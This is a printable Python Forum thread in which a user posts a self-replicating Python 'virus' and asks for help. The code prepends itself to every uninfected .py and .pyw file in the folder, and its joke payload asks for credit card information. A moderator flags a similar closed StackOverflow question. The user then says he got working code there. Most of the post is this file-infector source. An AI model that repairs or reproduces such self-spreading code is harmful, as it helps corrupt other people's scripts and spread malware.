a bit of help required - Printable Version +- Python Forum (https://python-forum.io) +-- Forum: Python Coding (https://python-forum.io/forum-7.html) +--- Forum: General Coding Help (https://python-forum.io/forum-8.html) +--- Thread: a bit of help required (/thread-30975.html) |
a bit of help required - Redrock - Nov-16-2020 Hello i have coded this : ### start of virus ### import sys, glob code=[] with open(sys.argv[0], 'r') as f: lines= f.readlines() virus_area=False for line in lines: if line =='### start of virus ###\n': virus_area=False if virus_area: code.append(line) if line =='### end of virus ###\n': break python_scripts=glob.glob('*.py') + glob.glob('*.pyw') for script in python_scripts: with open(script,'r') as f: script_code=f.readlines() infected=False for line in script_code: if line=='### start of virus ###\n': infected=True break if not infected: final_code=[] final_code.extend(code) final_code.extend('\n') final_code.extend(script_code) with open(script,'w') as f: f.writelines(final_code) #malicious piece of code (payload) print("Hello,I am a poorman's virus so please send your credit card info since I can't do anything else but replicate and say this",) ### end of virus ###its suppose to replicate but it dosn't and it just add lines to my other scripts RE: a bit of help required - buran - Nov-16-2020 Similar question to this one was posted on StackOverflow like 2 days ago and was closed. If you have cross-posted elsewhere you should let us know. Also, if it was not you and this is some sort of assignment it should be in Homework section. RE: a bit of help required - Redrock - Nov-16-2020 (Nov-16-2020, 09:01 AM)buran Wrote: Similar question to this one was posted on StackOverflow like 2 days ago and was closed. I didn't crossed posted it but i used the program he wrote wich was very similar and it worked so i guess case closed |